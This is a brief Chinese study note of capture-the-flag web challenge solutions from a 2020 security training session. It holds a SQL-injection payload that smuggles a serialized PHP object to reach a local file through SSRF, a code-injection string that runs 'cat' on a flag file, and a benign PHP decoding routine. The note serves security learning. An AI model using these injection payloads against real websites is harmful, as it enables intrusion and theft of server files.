20200813信息安全实训

笔记本:	我的第一个笔记本		
创建时间:	2020/8/13 16:13	**更新时间:**	2020/8/13 17:07
作者:	820410740@qq.com		
URL:	https://blog.csdn.net/mochu7777777/article/details/104868401		

fakebook 注册账号 发现post注入 存在robots.txt和flag.php 通过分析flag.php可以看到未对get()方法获取的url进行过滤 所以存在ssrf view.php存在报错注入

```
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/f
```

在源码中发现flag

mfw 检查网站，发现使用了git，访问.git目录，疑似存在git源码泄露 使用dirsearch与GitHack配合

```
?page=abc') or system("cat templates/flag.php");//
```

web2 看网页显示的源码是将加密算法逆向就可以得到flag 逆向代码如下

```php
<?php
function decode($str){
$string='';
$str=base64_decode(strrev(str_rot13($str)));
$strrev=strrev($str);
for ($i=0; $i < strlen($strrev); $i++) {
$char=substr($strrev,$i,1);
$ordchar=ord($char)-1;
$char=chr($ordchar);
$string=$string.$char;
}
return $string;}
$string='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
echo decode($string);
?>
```